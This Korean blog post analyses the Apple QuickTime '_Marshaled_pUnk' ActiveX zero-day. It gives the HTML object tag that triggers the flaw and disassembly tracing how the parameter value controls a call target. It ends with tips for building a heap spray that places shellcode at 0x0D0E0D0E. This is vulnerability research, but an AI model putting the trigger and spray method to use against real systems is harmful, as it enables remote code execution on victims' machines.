본문 바로가기

새빨간거짓말

[세번째 거짓말] Apple QuickTime “_Marshaled_pUnk” 제로데이 취약점


최근에는 파이썬 개발과 가끔씩 돌발적으로 일어나는 이슈들을 컨트롤하는 것만으로....

나의 일상이 흘러가고 있습니다.......

 

3일 동안 자리를 비운 사이

새로운 제로데이 취약점이 확산되기 시작했다는 글들이

트위터랑 블로그들 사이에 오고가고 있네요...

 

(0-day) Apple QuickTime _Marshaled_pUnk Code Execute Vulnerability  

 

 많은 아이폰 사용자들은 경험해 보았겠지만

Apple QuickTime 플레이어는

iTunes 업글할 때도 디폴트로 같이 설치하고 업글하도록 되어 있기 때문에

아이폰 사용자들이 급증하고 있는 이 시점에서

QuickTime 취약점 제로데이 취약점은 꽤 괜찮은 먹잇감이 될질도 모르겠군요.. ^^

 

해당 취약점은 이미 실제 공격으로 이용되고 있고

다음과 같이 Jsunpack 과 wepawet과 같은 오픈 URL 분석시스템에서 탐지된 정보를 통해서

이슈가 알려지기 시작한 것 같습니다....

 

 

-------------------------------

 

[wepawet] http://wepawet.cs.ucsb.edu/view.php?hash=9024da1a2ed0f0e1d37de8e995258980&t=1283452417&type=js

[jsunpack]http://jsunpack.jeek.org/dec/go?report=544b2800f0af20e14693d6c0c611f094b0a0e0ca

 

 

      취약점을 일으키는 기본 코드는

 

<object classid=clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B width=9 height=9>

<PARAM name=_Marshaled_pUnk value=219024654/></object>

 

취약점은 Quicktime 플레이어 ActiveX(QTPlugin.ocx) _Marshaled_pUnk 파라미터 때문이고..

흠.. 근데 요놈은 멀 하는 놈인지 잘 모르겠네요.. 흐흐흐흐....

 

일단 해당 취약점을 코드레벨에서 분석해보면,

Ole2.dll 파일의 다음 지점에서 최종적으로 CALL [ECX+C] 값을 통해 임의의 코드실행이 가능하게 되고

코드를 되집어 보면 ECX 값이 [EAX] 값으로 부터 영향을 받는 것을 확인할 수 있습니다...

 

7699DC8B    8BFF            MOV     EDI, EDI

7699DC8D    55              PUSH    EBP

7699DC8E    8BEC            MOV     EBP, ESP

7699DC90    8B45 08         MOV     EAX, DWORD PTR [EBP+8]

7699DC93    8B08            MOV     ECX, DWORD PTR [EAX]  **** 0D0E0D0E

7699DC95    8D55 08         LEA     EDX, DWORD PTR [EBP+8]

7699DC98    52              PUSH    EDX

7699DC99    FF75 10         PUSH    DWORD PTR [EBP+10]

7699DC9C    FF75 0C         PUSH    DWORD PTR [EBP+C]

7699DC9F    50              PUSH    EAX

7699DCA0    FF51 0C         CALL    DWORD PTR [ECX+C]    *** CALL 흐름 변경

 

그렇다면, EAX 값이 도대체 어디서 왔는 지 확인할 필요가 있겠군요...

그래야 우리가 사용자 입력으로부터 Control 이 가능한지 알수 있기 때문이죠....

 

일단은 가만히~~~ 스택을 살펴보면서, ==

 0D0E0D0E 값이 어느 CALL 지점으로부터 나타나기 시작했는지 확인하고.... 

 적절한 CALL 지점을 찾고 나면 디버깅을 재시작하여

해당 CALL부터 0D0E0D0E 의 값을 추적하시면 될 것 같습니다.... 

 

                     그렇게 찾은 결과.. 다음과 같이 QTPlugin 코드 지점에서

Parameter의 Value 값으로 입력된 아스키값이 QTPlugin.02681310 함수를 통해서 헥사값으로 변환되고    이 값이 바로 EAX= 0D0E0D0E 값이 되는 것을 알았군요....

 

 

02682C2E    57              PUSH    EDI = "219024654"

02682C2F    E8 DCE6FFFF     CALL    QTPlugin.02681310 ** 헥사값 변환 결과, EAX=0D0E0D0E

02682C34    83C4 04         ADD     ESP, 4

02682C37    8D8E B8130000   LEA     ECX, DWORD PTR [ESI+13B8]

02682C3D    51              PUSH    ECX

02682C3E    68 70FC6A02     PUSH    QTPlugin.026AFC70

02682C43    50              PUSH    EAX

02682C44    FF15 CCD36A02   CALL    DWORD PTR [<&ole32.CoGetInterfaceAndReleaseStream>]       ; ole32.CoGetInterfaceAndReleaseStream

 

결론적으로, 

.. 해당 취약점은 코드실행이 가능하다.

.. 파라미터로 전달되는 Vaue 값을 통해 쉘코드 실행 주소번지를 컨트롤할 수 있다..

 

이제, 자바스크립트를 이용한 Heap-Spray 코드를 끼워넣어서 0D0E0D0E 근처에  쉘코드를 채우기만 하면 "계산기"를 띄울 수 있겠군요... ㅋㅋㅋ... 네네~~~ 아주 잘 뜨네요~~ ^^;;;;;

 

Heap-Spray 코드를 만들때는

 

.. Loop 값을 증가시켜서 충분히 Value로 전달되는 메모리 주소 즉 0D0E0D0E까지 채워야 한다.

.. 쉘코드와 함께 채워지는 더미값은 최종적으로  CALL 되는 지점이 Value가 가리키는 주소번지 안의 값이기 때문에 Heap 영역안에 존재하는 값이어야 한다....

.. 또한, 더미값은 CALL 흐름에 영향을 주지 않는 NOP 코드값이어야 한다..

 

아마두... 주로 0d0e0d0e, 0a0a0a0a, .... 머 요런 값들이 될 수 있을 것 같네욤.......

 

 

 

-----------------------------

 

마이 졸리운 오후입니다...

찐~~한 커피한잔이 간절~~

두서없이 또 한번 거짓말을 늘어놓습니다..

용서하세요~~ ^^

 

-----------------------------